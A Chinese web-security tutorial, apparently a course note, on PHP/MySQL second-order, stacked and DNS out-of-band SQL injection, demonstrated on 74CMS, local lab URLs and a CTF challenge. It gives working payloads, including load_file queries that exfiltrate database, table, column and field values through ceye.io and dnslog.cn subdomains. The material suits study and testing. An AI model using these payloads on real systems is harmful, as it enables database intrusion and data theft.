045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件

news2025/1/23 6:19:33

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

#知识点:

1、PHP-MYSQL-SQL注入-二次注入&利用条件
2、PHP-MYSQL-SQL注入-堆叠注入&利用条件
3、PHP-MYSQL-SQL注入-带外注入&利用条件

演示案例:

➢PHP-MYSQL-二次注入-DEMO&74CMS
➢PHP-MYSQL-堆叠注入-DEMO&CTF强网
➢PHP-MYSQL-带外注入-DEMO&DNSLOG

Untitled

#PHP-MYSQL-二次注入-DEMO&74CMS

黑盒思路:分析功能有添加后对数据操作的地方(功能点)很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))
白盒思路:insert后进入select或update的功能的代码块源代码去审
注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用

1、DEMO-用户注册登录修改密码(使用报错回显)

Untitled

Untitled

  1. 注册新用户时,将注入的内容包含在注册的用户名后admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#**

  2. 成功注入,并查看数据库,数据库中也存放了响应的注入语句

  3. 正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc)或使用转义函数(addslashes

Untitled

Untitled

  1. 在注册用户逻辑中,首先使用addslashes 转义函数解析POST请求中的username,

  2. 在后方插入新用户记录的时候,执行的SQL语句则会变为INSERT INTO users (username,password) VALUES ('admin\' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456') 给username中的单引号添加转义字符\

  3. 在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入

  4. 如果不使用,转义函数,则会出现报错

    1. 报错的原因是:sql注入语句中,提前闭合了单引号,造成后面的密码值无法对应到表中的password列

    Untitled

Untitled

  • addslashes 是一个 PHP 函数,用于对字符串中的特殊字符进行转义,返回在预定义的字符前添加反斜杠的字符串。

    string addslashes ( string $str )
    //参数:`$str` 是要进行转义的字符串。
    //返回值:返回转义后的字符串。
    
    

    返回在预定义的字符前添加反斜杠的字符串。

    预定义字符是:

    • 单引号(')
    • 双引号(")
    • 反斜杠(\)
  • magic_quotes_gpc 是一个在早期版本的 PHP 中存在的配置选项,其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。

    具体作用如下:

    1. 自动转义:magic_quotes_gpc 启用时,PHP 会在从 GETPOSTCOOKIE 中获取的数据中自动添加转义斜杠,使特殊字符成为安全的字符串。例如,单引号 ' 被转义为 \\'

    示例:

    // 假设 magic_quotes_gpc 已启用
    
    $user_input = "It's a sample input";
    // $user_input 变量包含 "It\\'s a sample input"
    
    // 在早期的 PHP 版本中,这样的输入在插入到数据库时会被自动转义
    
    

2、CMS-74CMS个人中心简历功能

  1. 配置并打开网址
  2. 前端对专业名称有长度限制,选中打开检查修改maxlength="120”值
  3. 在学校名称和专业名称注入:aa','fullname'=user()#
  4. 分析源码

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

#PHP-MYSQL-堆叠注入-DEMO&CTF强网

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存**在类似于mysqli_multi_query()这样的函数**,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等

  1. 首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句,

    # **这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1
    # 创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列**
    SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));
    
  2. 由于sql语句在Navicat Premium 16有特定解析,支持两个封号的语句拼接在一起执行

    Untitled

    Untitled

  3. 但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:http://192.168.137.1:84/sqli/new.php?**id=1;CREATE TABLE xxx(test VARCHAR(255);**

    1. 所以不能识别执行,会报错

      Untitled

      Untitled

  4. 但是当php采用mysqli_multi_query函数接收并执行sql语句的时候

    1. 可以识别执行

    Untitled

Untitled

Untitled

1.目标存在SQL注入漏洞:

2.目标未对";"号进行过滤:

目标系统未对输入中的分号(;)进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句,因此,如果应用程序未正确过滤这些字符,攻击者可以利用这一点来注入多条SQL语句。

3.目标中间层查询数据库信息时可同时执行多条SQL语句:

在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时

2019强网杯-随便注(CTF题型)

';show databases;
';show tables;
';show columns from 1919810931114514;
';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

  1. ';show databases;

    • 这似乎是尝试显示数据库
  2. ';show tables;

    • 类似于第一个,似乎是尝试显示表。
  3. ';show columns from 1919810931114514;

    • 另一次尝试从具有特定名称的表中显示列。
  4. ';select flag from 1919810931114514;

    • 类似于前一个,试图从表中选择名为’flag’的列。确保表和列存在。
  5. 由于提示不能使用select等,所以使用动态SQL语句,

    1. 将想要执行的语句,转换为Hex(16 进制)

    Untitled

    Untitled

  6. ';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

    1. execsql from @a;
    2. execute execsql;
      1. 在第一个步骤中,使用**execsql语句从用户变量@a中执行动态SQL。@a包含一个十六进制字符串,可能代表一个SQL查询语句。**
      2. 在第二个步骤中,使用**execute语句执行之前准备好的动态SQL,该SQL语句由第一步中的execsql**生成。
    • 这似乎是尝试使用用户变量进行动态SQL。在使用动态SQL时要小心,因为它可能存在安全风险。确保**@a**的内容是安全且经过正确清理的。

#PHP-MYSQL-带外注入-DEMO&DNSLOG

产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据

0.注入条件:

  • ROOT高权限且支持load_file()

  • **secure-file-priv=**设置→默认关闭,必须添加到MYsql的配置文件my.ini中

  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini*

    Untitled

    • secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILESELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
      • 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
      • 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILESELECT ... INTO OUTFILE
    • 例如,如果 secure_file_priv 被设置为 f:\\,那么在执行 LOAD DATA INFILESELECT ... INTO OUTFILE 时,只允许读写位于 f:\\ 目录下的文件。
  • 如果源码有回显则直接注入即可文件读写利用http://192.168.137.1:84/sqli/new.php?id=1 union select 1,2,3,load_file(‘F:\\1.txt’),5,6

Untitled

1.使用平台

http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可

http://www.dnslog.cn

Untitled

Untitled

2.带外应用场景:

解决**不回显,反向连接,SQL注入,命令执行,SSRF等**

  • SQL注入:

    select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
    **and (select load_file(concat('//',(select database()),'.[rkmg30.ceye.io](http://rkmg30.ceye.io/)/abc')))**
    
  • 查询当前数据库

    Untitled

    id=1 and load_file(concat("\\\\",database(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\asdt"))
    
  • 查询其他数据库

    id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
    """
    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    **limit 0,1 查询第一个数据库名
    limit 1,1 查询第二个数据库名**
    limit 2,1 查询第三个数据库名
    """
    

    Untitled

  • 查询版本号

    Untitled

    id=1 and load_file(concat("\\\\",version(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
    
  • 查询当前数据库dome01中第一个表名

    Untitled

    id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
    """
    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    **limit 0,1 查询第一个表名
    limit 1,1 查询第二个表名**
    limit 2,1 查询第三个表名
    """
    
  • 查询security数据库emails表下第一个列名

id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
  • 查询字段值 数据库名为security 表名emails 列名id

    id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
    

#CMS-74CMS网址配置

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1474724.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

分布式锁的应用与疑惑

文章目录 一、为什么需要用分布式锁二、Redis实现分布式锁三、Zookeeper实现分布式锁 一、为什么需要用分布式锁 集群下,普通的锁,无法解决问题 集群下,保证安全需要使用分布式锁 二、Redis实现分布式锁 Redisson内部封装的RedLock实现分…

Linux系统--nginx

1.Nginx(engine-x)由俄罗斯开发者Igor Sysoev开发,最初于2004年发布,主要用于解决C10K问题(即同时处理上万个并发连接)。其设计目标是实现高并发、低延迟以及高效利用硬件资源。Nginx不仅是一个静态内容服务器,还支持动…

Bert-as-service 学习

pip3 install --user --upgrade tensorflow 安装遇到的问题如下: pip3 install --user --upgrade tensorflow 1052 pip uninstall protobuf 1053 pip3 uninstall protobuf 1054 pip3 install protobuf3.20.* 1055 pip3 install open-clip-torch2.8.2 1…

SQL注入漏洞解析-less-8(布尔盲注)

我们来看一下第八关 当我们进行尝试时,他只有You are in...........或者没有显示。 他只有对和错显示,那我们只能用对或者错误来猜他这个数据库 ?id1%27%20and%20ascii(substr(database(),1,1))>114-- ?id1%27%20and%20ascii(substr(database(),1,…

解决i18n国际化可读性问题,傻瓜式webpack中文支持国际化插件开发

先来看最后的效果 问题 用过国际化i18n的朋友都知道,天下苦国际化久矣,尤其是中文为母语的开发者,在面对代码中一堆的$t(abc.def)这种一点也不直观毫无可读性的代码,根本不知道自己写了啥 (如上图,你看得出…

飞天使-学以致用-devops知识点1-安装gitlabharbor

文章目录 rpm 安装gitlab页面配置配置secretsecret 查看信息-chatgpt回复 为项目配置webhook,等jenkins部署完毕后在配置卸载 harbor配置secret所有k8s集群节点安装信任 http rpm 安装gitlab # 下载安装包 wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitla…

HP笔记本电脑如何恢复出厂设置?这里提供几种方法

要恢复出厂设置Windows 11或10的HP笔记本电脑,你可以使用操作系统的标准方法。如果你运行的是早期版本,你可以使用HP提供的单独程序清除计算机并重新安装操作系统。 恢复出厂设置运行Windows 11的HP笔记本电脑​ 所有Windows 11计算机都有一个名为“重置此电脑”的功能,可…

行为树入门:BehaviorTree.CPP Groot2练习(叶子节点)(2)

以《行为树BehaviorTree学习记录1_基本概念》练习。 1 SequenceNode顺序控制节点 代码下载 git clone https://gitee.com/Luweizhiyuan2020/ros2_bt.git例程 1.1 sequence 顺序执行 下载版本SequenceNode1。 1.2 ReactiveSequence 异步执行 注意: ①only a…

【k8s配置与存储--持久化存储(PV、PVC、存储类)】

1、PV与PVC 介绍 持久卷(PersistentVolume,PV) 是集群中的一块存储,可以由管理员事先制备, 或者使用存储类(Storage Class)来动态制备。 持久卷是集群资源,就像节点也是集群资源一样…

13.云原生之常用研发中间件部署

云原生专栏大纲 文章目录 mysql主从集群部署mysql高可用集群高可用互为主从架构互为主从架构如何实现主主复制中若是两台master上同时出现写操作可能会出现的问题该架构是否存在问题? heml部署mysql高可用集群 nacos集群部署官网文档部署nacoshelm部署nacos redis集…

Windows系统x86机器安装(麒麟、统信)ARM系统详细教程

本次介绍在window系统x86机器上安装国产系统 arm 系统的详细教程。 注:ubuntu 的arm系统安装是一样的流程。 1.安装环境准备。 首先,你得有台电脑,配置别太差,至少4核8G内存,安装window10或者11都行(为啥不能是Window7,你要用也不是不行,你先解决win7补丁更新问题)。…

高效网络采集实践:使用 Haskell 和 html-conduit 下载 www.baidu.com 视频完整教程

一、引言 网络采集在当今信息时代中发挥着关键作用,用于从互联网上获取数据并进行分析。本文将介绍如何使用 Haskell 进行网络编程,从数据采集到图片分析,为你提供一个清晰的指南。我们将探讨如何使用爬虫代理来确保高效、可靠的数据获取&am…

Kubernetes剖析

Kubernetes剖析 前言 ​ 容器技术这样一个新生事物,完全重塑了整个云计算市场的形态。它不仅催生出了一批年轻有为的容器技术人,更培育出了一个具有相当规模的开源基础设施技术市场。 ​ 在这个市场里,不仅有 Google、Microsoft 等技术巨擘…

爬取某牙视频

爬取页面链接:游戏视频_游戏攻略_虎牙视频 爬取步骤:点进去一个视频播放,查看media看有没有视频,发现没有。在xhr中发现有许多ts文件,但这种不是很长的视频一般都有直接的播放链接,所以目标还是找直接的链…

自定义神经网络一之Tensor和神经网络

文章目录 前言Tensor神经网络深度神经网络DNN卷积神经网络CNN卷积神经网络有2大特点 循环神经网络RNN残差网络ResNetTransformer自我注意力机制并行效率 总结 前言 神经网络是AI界的一个基础概念,当下火热的神经网络例如RNN循环神经网络或者CNN卷积神经网络&#x…

【数据结构和算法初阶(C语言)】链表-单链表(手撕详讲单链表增删查改)

目录 1.前言:顺序表回顾: 1.1顺序表的优缺点 2.主角----链表 2.1链表的概念 2.2定义一个单链表的具体实现代码方式 3.单链表对数据的管理----增删查改 3.1单链表的创建 3.2单链表的遍历实现 3.2.1利用遍历实现一个打印我们链表内容的函数的函数…

matlab 线性四分之一车体模型

1、内容简介 略 57-可以交流、咨询、答疑 路面采用公式积分来获得,计算了车体位移、非悬架位移、动载荷等参数 2、内容说明 略 3、仿真分析 略 线性四分之一车体模型_哔哩哔哩_bilibili 4、参考论文 略

SpringCloud微服务-Eureka注册中心

Eureka注册中心 文章目录 Eureka注册中心前言1、Eureka的作用2、搭建EurekaServer3、服务注册4、启动多个实例5、服务拉取 -实现负载均衡 前言 在服务调用时产生的问题: //2. 利用RestTemplate发起HTTP请求,查询user String url "http://localho…

排序算法之快速排序(挖坑法)

挖坑法的思想:记第一个数为key,要调整key的位置,使得左边的都要比key的小,右边的数都比key的大。 记录下关键字keybegin,把28那个位置挖坑holebegin 让end找到小于28(key)的数,把那…

docker-mysql:5.7安装

1、下载mysql:5.7镜像 [rootlocalhost ~]# docker search mysql (某个XXX镜像名字) [rootlocalhost ~]# docker pull mysql:5.7 按装之前查看一下是否按装过mysql。如果安装过会占用3306端口。 [rootlocalhost ~]# ps -ef | grep mysql 2、简单的安装 [rootlocalhost ~]# d…